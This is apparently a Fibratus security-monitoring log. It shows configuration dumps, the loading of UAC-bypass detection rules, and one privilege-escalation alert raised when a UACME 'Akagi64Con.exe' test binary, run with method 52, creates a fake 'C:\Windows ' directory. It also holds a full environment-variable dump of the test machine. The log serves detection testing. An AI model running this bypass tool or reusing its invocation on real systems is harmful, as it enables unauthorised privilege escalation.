....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ timeout=>5s trace-log=>false bulk-workers=>1 gzip-compression=>false template-name=>fibratus flush-period=>1s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ routing-key=>fibratus exchange=>fibratus vhost=>/ delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic passive=>false enabled=>false url=>amqp://localhost:5672] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST endpoints=>[] enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:24:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:24:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:24:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:24:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:24:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:12:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T16:12:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T16:12:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T16:12:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T16:12:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-11-26T16:12:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateFile, CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T16:12:08+01:00 level=info msg=bootstrapping with pid 20108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:12:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true flush-interval=>1s enable-dns=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-threadpool=>false max-buffers=>36 stack-enrichment=>true buffer-size=>512 enable-vamap=>true enable-mem=>false enable-handle=>false enable-net=>true enable-image=>true enable-fileio=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 enabled=>false template-name=>fibratus index-name=>fibratus flush-period=>1s healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ tls-insecure-skip-verify=>false enabled=>false passive=>false vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus durable=>false exchange=>fibratus delivery-mode=>transient timeout=>5s exchange-type=>topic] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false method=>POST endpoints=>[] enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] enabled=>false excluded-procs=>[] skip-registry=>false fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:12:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:12:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:12:20+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation or directory creation]. Text: Event(s): + Seq: 2468913 + Pid: 14496 + Tid: 20228 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-26 16:12:19.0106451 +0100 CET + Params: attributes➜ HIDDEN|SYSTEM, create_disposition➜ CREATE, create_options➜ DIRECTORY_FILE, file_object➜ ffffc48c84c320d0, file_path➜ C:\Windows , irp➜ ffffc48c8c6aa8f8, share_mask➜ READ|WRITE, status➜ Success, tid➜ 20228, type➜ Directory + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Fake system root environment variable manipulation or directory creation, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 14496 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T16:12:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:12:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:12:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:22:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T16:22:16+01:00 level=info msg=bootstrapping with pid 7488. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:22:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-vamap=>true max-buffers=>36 enable-threadpool=>false min-buffers=>16 flush-interval=>1s enable-thread=>true enable-registry=>true enable-net=>true enable-mem=>false enable-image=>true stack-enrichment=>true enable-audit-api=>true buffer-size=>512 enable-fileio=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false serializer=>json endpoints=>[]] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ timeout=>5s exchange-type=>topic routing-key=>fibratus enabled=>false durable=>false exchange=>fibratus vhost=>/ passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient] elasticsearch=>[ index-name=>fibratus healthcheck=>true flush-period=>1s trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false gzip-compression=>false template-name=>fibratus bulk-workers=>1 timeout=>5s healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] excluded-files=>[] enabled=>false skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:22:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:22:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:23:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:23:24+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:23:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:23:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T16:23:57+01:00 level=info msg=bootstrapping with pid 19376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:23:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-handle=>false min-buffers=>16 enable-image=>true enable-net=>true enable-vamap=>true enable-dns=>false buffer-size=>512 stack-enrichment=>true enable-thread=>true flush-interval=>1s enable-audit-api=>true enable-registry=>true enable-fileio=>true max-buffers=>36 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 max-age=>0 level=>info log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ enabled=>false exchange-type=>topic exchange=>fibratus passive=>false delivery-mode=>transient routing-key=>fibratus timeout=>5s durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672] elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus enabled=>false gzip-compression=>false trace-log=>false healthcheck=>true sniff=>false index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ timeout=>5s enabled=>false enable-gzip=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false excluded-files=>[] skip-registry=>false enabled=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T16:23:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:24:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T16:24:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T16:24:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:24:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T16:25:03+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T16:25:03+01:00 level=info msg=bootstrapping with pid 11404. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T16:25:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false content-type=>text/html to=>[] use-template=>true port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-vamap=>true enable-mem=>false buffer-size=>512 enable-thread=>true enable-registry=>true min-buffers=>16 enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-image=>true enable-handle=>false enable-audit-api=>true enable-dns=>false stack-enrichment=>true enable-fileio=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ http=>[ timeout=>5s endpoints=>[] serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty 